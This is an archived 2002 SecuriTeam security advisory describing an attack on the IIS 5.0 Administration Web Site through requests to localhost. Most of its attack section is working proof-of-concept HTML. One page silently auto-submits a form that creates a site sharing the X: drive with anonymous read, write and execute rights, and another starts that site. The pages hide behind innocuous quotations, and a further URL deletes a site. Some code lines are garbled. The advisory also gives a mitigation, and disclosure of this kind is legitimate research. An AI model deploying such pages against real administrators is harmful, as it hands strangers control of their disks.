

[EXPL] IIS Administration Web Site Redirect Exploits

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0062.html>

From: support@securiteam.com

Date: 07/13/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sat, 13 Jul 2002 00:25:30 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

IIS Administration Web Site Redirect Exploits

SUMMARY

The default installation of IIS installs an Administration web site. The Administration web site can be exploited by redirection requests to localhost.

DETAILS

Vulnerable systems:

- * Microsoft Internet Information Server 5.0

Many types of exploits are available for web administrator browsing a malicious web page that contains exploit code. New web sites can be created, old web sites deleted, and permissions altered using an HTTP redirection to the localhost web server (The only prerequisite is that the user browsing the exploiting web page must be a web site administrator of some kind).

Proof-of-concept:

Lets say you browse a website somewhere on the Internet (reading a newspaper or whatever), the page you enter has two frames, and the first one creates a new web site on port 31337 of your computer and shares your

Securiteam: [EXPL] IIS Administration Web Site Redirect Exploits

X: disk, allowing anonymous users to browse and execute files on your computer without your knowledge. This is basically what the exploit code does.

The port/socket number of the Administration Web site is random and decided at setup. A port scan of the target computer can be used to reveal the port number. Most installations we have seen usually are set in the range of 6000–10000. In the POC, we have assumed that the Administration Web site is running on port 6422.

Exploit:

```
----- frame1.htm -----
<html>
<head>
<title>Exploiting IIS Admin location redirect – Exploit #1</title>
<meta name="description" content="Exploit creates a new virtual web called
http://yourweb/DigitLabs\_exploit/ that maps x:\ with all rights">
<script language="Javascript">
<!--
function main()
{
oForm.submit(); // Submit form automatically when page has loaded
}
/-->
</script>
</head>
<body onload="Javascript:main()">
<form id="oForm" method="post"
action="http://localhost:6422/iwiznew.asp">
<input type="hidden" name="SiteType" value="0">
<input type="hidden" name="AllowScript" value="on">
<input type="hidden" name="NodeType" value="0">
<input type="hidden" name="AllowAnon" value="on">
<input type="hidden" name="iThisPage" value="7">
<!--Give the new Web a name-->
<input type="hidden" name="NodeName" value="DigitLabs_exploit">
<!--Port/Socket 80 is probably busy, here I use port 31337 (commonly
unused) -->
<input type="hidden" name="TCPPort" value="31337">
<!-- Allow anonymous to read, write and execute files under X:\-->
<input type="hidden" name="VRPath" value="X:\">
<input type="hidden" name="AllowRead" value="on">
<input type="hidden" name="AllowWrite" value="on">
<input type="hidden" name="AllowExecute" value="on">
<input type="hidden" name="AllowRemote" value="on">
<input type="hidden" name="AllowDirBrowsing" value="on">
</form>
<!--The webpage seems friendly enough on the outside, but hidden within is
the exploit code-->
<h3>"The secret to creativity is knowing how to hide your sources."</h3>
<i>-Albert Einstein</i>
```

```
</body>
</html>
```

```
-----
----- frame2.htm -----
<html>
<head>
<title>Exploiting IIS Admin location redirect – Exploit #1</title>
<meta name="description" content="Starts the new web service after it has
been created">
<script language="Javascript">
<!--
function main()
{
/*
Guess that the Web is the third one, this might start another web planned
in this example.
The Metabase enumeration of the webs is iterative, if you want to make
sure that the web will be started then do many calls
each time iterating the value, ex: W3SVC/3 , W3SVC/4 , W3SVC/5 asf.
*/
location.href="http://localhost:6422/iiaction.asp?a=2alhost/W3SVC/3server:
↓
//-->
</script>
</head>
<body onload="Javascript:window.setTimeout('main()'.5000)">
<!--Hide the true nature of the page-->
<h3>"Reality is merely an illusion, albeit a very persistent one."</h3>
<i>-Albert Einstein</i>
</body>
</html>
```

```
-----
----- frame2.htm -----
<html>
<head>
<title></title>
</head>
<FRAMESET border="2px" ROWS="50%, 50%">
<FRAME SRC="frame1.htm">
<FRAME SRC="frame2.htm">
</FRAMESET>
</html>
```

As mentioned above, several other possible exploit codes. As an example a redirection to <http://localhost:6422/iiaction.asp?a=delalhost/W3SVC/1/ROOT/digitlabs&stype=www&vtype=dir&sel=18>

Would remove a web called "digitlabs" from the webserver if it exists.

Securiteam: [EXPL] IIS Administration Web Site Redirect Exploits

Note:

Before running any of the above exploit, you must make sure that there are valid authorization session cookies. The way to do this is to first do a redirect to the root of the Administration Website, an information box that you are not running in SSL appears, but this only has an OK button on no Cancel button and will not be able to stop the exploit. The only way to stop the exploit from creating valid session cookies is to kill the browser process in task manager before pressing the OK button. Note that the above POC creates a third frame that redirects to the root of the Administration Web, making sure that this frame is executed first.

Temporary solution:

Disable the Administration Web Site if you do not use it.

ADDITIONAL INFORMATION

The information has been provided by <mailto:gollum@digit-labs.org>
GoLLuM.no.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[EXPL] 2fax Local Exploit Code Released (-bpcx)"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)